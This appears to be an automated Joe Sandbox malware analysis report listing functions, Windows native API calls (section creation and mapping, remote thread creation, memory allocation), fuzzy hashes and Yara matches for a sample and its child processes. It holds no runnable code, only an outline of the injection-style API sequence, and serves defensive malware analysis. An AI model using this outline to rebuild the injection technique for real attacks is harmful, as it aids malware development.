Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 00503919 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00503941
Module32First.KERNEL32(00000000,00000224), ref: 00503961

Memory Dump Source

Source File: 00000000.00000002.1726254840.00000000004F1000.00000040.00000020.00020000.00000000.sdmp, Offset: 004F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f1000_ctMI3TYXpX.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9b7ec3692cb4cd72cc765cc2a760264b54496de3f36314acdafc3b490a3adcef
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E7F09631200715BBE7303FF9AC8DB6E7AECBF49724F140928E642914C0DBB0ED454661

Function 004B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 004B024D

Strings

kernel32.dll, xrefs: 004B008F, 004B0095
cess, xrefs: 004B018D

Memory Dump Source

Source File: 00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_ctMI3TYXpX.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 3ab0f07624891138f2a196dea9d1c45aa3da684c3a44e81f7e50d60f331bd9e4
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: AE527974A00229DFDB64CF58C984BA9BBB1BF09305F1480DAE50DAB351DB34AE85DF25

Function 004B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,004B0223,?,?), ref: 004B0E19
SetErrorMode.KERNELBASE(00000000,?,?,004B0223,?,?), ref: 004B0E1E

Memory Dump Source

Source File: 00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_ctMI3TYXpX.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: eed68f84607e2b327b3ebbdec56108b8437801bff84edba81ed917c1dc319f98
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: DED0123114512877DB002A94DC09BCE7B1CDF05B63F008411FB0DD9180C774994046E9

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 005035D8 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00503629

Memory Dump Source

Source File: 00000000.00000002.1726254840.00000000004F1000.00000040.00000020.00020000.00000000.sdmp, Offset: 004F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f1000_ctMI3TYXpX.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d402faf0347471fe938d492c27253e8d69b2b457deff7dcb84c1c4b11a66b9a1
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 7D112D79A00208EFDB01DF98C985E98BFF5AF08350F0580A4F9489B361D371EA50DB80

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Non-executed Functions

Function 004B092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 004B09DC, 004B09DF, 004B09E4
., xrefs: 004B095F
l, xrefs: 004B0966

Memory Dump Source

Source File: 00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_ctMI3TYXpX.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 98458f537895f65fa26e3601b2473efc5ebda3c16de972de01baa121a5454400
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 703159B6900609DFDB10CF99C880AEEBBF9FF48325F24414AD841A7351D775EA45CBA8

Function 004032C7 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

s, xrefs: 004032FA

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: d07de417770535d12de117b97f6c2128d54bdeaeab8d953c590c135d79241f8f
Instruction ID: 32084d28afe1afe84eccaa2aadec000ca1add1720bdf1548c052102d2181d3f0
Opcode Fuzzy Hash: d07de417770535d12de117b97f6c2128d54bdeaeab8d953c590c135d79241f8f
Instruction Fuzzy Hash: 5021226145CAD20FD7034B7808A89D57FF2ED1326170A41EBC080EB0A7DAA9890B8349

Function 005031F6 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726254840.00000000004F1000.00000040.00000020.00020000.00000000.sdmp, Offset: 004F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f1000_ctMI3TYXpX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d855e24e40c3ec07b6305a721ecb9cc5128eb739ce28e3423f863209cecf259f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 32117C76340101AFDB54DE59DC81EAA7BEAFB88320B298065ED05CB352E675E902C760

Function 00403277 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d637f55854845c17b2ef1889abfa65daee778aef84c81fe99ca145d77efb4ab1
Instruction ID: 8df8bbe6331efc2743c071309605838865bd09ee4bc9229f5037613db63a7100
Opcode Fuzzy Hash: d637f55854845c17b2ef1889abfa65daee778aef84c81fe99ca145d77efb4ab1
Instruction Fuzzy Hash: 3CF0F0A1E2E243AFCA0A1E34A916532AF1C751632372401FFA083752C2E23D0B17619F

Function 004B0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_ctMI3TYXpX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 339e4f65f165143b3383d71b8c502fa653776667f3f249c0dba16b8d5d280db1
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: AF01A276A006048FDF21CF64C905BEB33E9FB86317F4545A6D90A97381E778A9418BA8

Function 0040324F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e697f2bdb2541e438c090e00759e651186a60c26cca26bbac42aeca89057f02
Instruction ID: 9241026e722b7dd7cbe781a55eac82938fa1721c21c2f19ebd5655df2a8ce19b
Opcode Fuzzy Hash: 2e697f2bdb2541e438c090e00759e651186a60c26cca26bbac42aeca89057f02
Instruction Fuzzy Hash: 90F024A191E281DBCA0E1E2858169327F1C7A5230733405FF9093762C2E13D8B02619F

Function 00403256 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb84ad0bafd287640d5e2703f1f7dee9546aae40f50b635da61e00f6775f880
Instruction ID: 0b233a05c36d383cd3dc693d5d52553799fa9f094e89171df70cdd77f1a33a14
Opcode Fuzzy Hash: ffb84ad0bafd287640d5e2703f1f7dee9546aae40f50b635da61e00f6775f880
Instruction Fuzzy Hash: 5CF027A1E6E202ABCA0E1E20AD165727F4D651132372401FFA053B63C1E17D4B07619F

Function 00403247 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 675dd5adc9fa045870a710e44379b64774d26f731239f7a86ac84ccf831d603a
Instruction ID: 61f4eeca6a5bdba97633f9ce55ed0ebe4cfc5c7823726c26b0d716f95b27c2a1
Opcode Fuzzy Hash: 675dd5adc9fa045870a710e44379b64774d26f731239f7a86ac84ccf831d603a
Instruction Fuzzy Hash: 1EF027A191E242DBCA0D2E246D158322F4C295530733401FF9053B92C2E03E8B07619F

Function 0040326C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7491e8d205a9a81a512842342f84d5d05ba67224b994174453f1348fb0568999
Instruction ID: 50319dc6f67c7bb301174255112627998741b5b21f267b3f7f348d4aa007f6d0
Opcode Fuzzy Hash: 7491e8d205a9a81a512842342f84d5d05ba67224b994174453f1348fb0568999
Instruction Fuzzy Hash: A5E068A2D2E2029BCA1E1E206D464333F4C625630B72001FF9053B92C1F03E4B0661DF

Function 00403290 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4880d3875d1ad92a9fbe5811d46a77b3d6ce579c17d5e0502d0cbfecac410ff8
Instruction ID: 65af031b81eeafed772fbc50416c1b4fdc84f259fd59d49ecec168145e9dac47
Opcode Fuzzy Hash: 4880d3875d1ad92a9fbe5811d46a77b3d6ce579c17d5e0502d0cbfecac410ff8
Instruction Fuzzy Hash: 3EE0ED92E6E2854BCAA52E30980A1623F5C69A331A32480FFA002A52D2F03E0F05815B

Analysis Process: jghruerPID: 7756, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	52
Total number of Limit Nodes:	2

Executed Functions

Function 0053003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0053024D

Strings

kernel32.dll, xrefs: 0053008F, 00530095
cess, xrefs: 0053018D

Memory Dump Source

Source File: 00000005.00000002.1976888383.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_530000_jghruer.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: dbbae28743631155f3db6bb32cb2d02d0cd49f0ed6f47c960f984cfc88bdb838
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7C526874A01229DFDB64CF58C995BA8BBB1BF09304F1480D9E90DAB391DB30AE95DF14

Function 00593539 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00593561
Module32First.KERNEL32(00000000,00000224), ref: 00593581

Memory Dump Source

Source File: 00000005.00000002.1977011876.0000000000581000.00000040.00000020.00020000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_581000_jghruer.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: fb25cf28a47df7d8de963588b828c7e0e867f236cb339ae55f71129d46a350a8
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 54F0C232500314ABDB202AB8A88DA6A7BE8BF4D320F140528F646910C0CA70EE454660

Function 00530E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00530223,?,?), ref: 00530E19
SetErrorMode.KERNELBASE(00000000,?,?,00530223,?,?), ref: 00530E1E

Memory Dump Source

Source File: 00000005.00000002.1976888383.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_530000_jghruer.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 744b544679e81edac46ace1a1040a10e47f9b2819e4d35e23ba8ce53e105023a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BDD0123124522877D7003A94DC09BCD7F1CDF05B62F008411FB0DD9080C770994046E5

Function 005931F8 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00593249

Memory Dump Source

Source File: 00000005.00000002.1977011876.0000000000581000.00000040.00000020.00020000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_581000_jghruer.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d6e07bd13e477c12f16283f6322ee00abbbfd7e5362513ee2dd086a2c22d3b96
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 6E113C79A00208EFDB01DF98C985E98BFF5AF08351F158094F9489B362D375EA50DF80

Analysis Process: 35DB.exePID: 7964, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	32.7%
Signature Coverage:	0%
Total number of Nodes:	147
Total number of Limit Nodes:	6

Executed Functions

Function 004014FB Relevance: 10.8, APIs: 7, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0c0f7080bca9052c17eb5f435a0de39dc556564f0894fb09fbcd269735ed19c
Instruction ID: 8456862ab07ee4fd5df19115d19177d22808884b2e91bbb4bd05fd593ecc01b1
Opcode Fuzzy Hash: c0c0f7080bca9052c17eb5f435a0de39dc556564f0894fb09fbcd269735ed19c
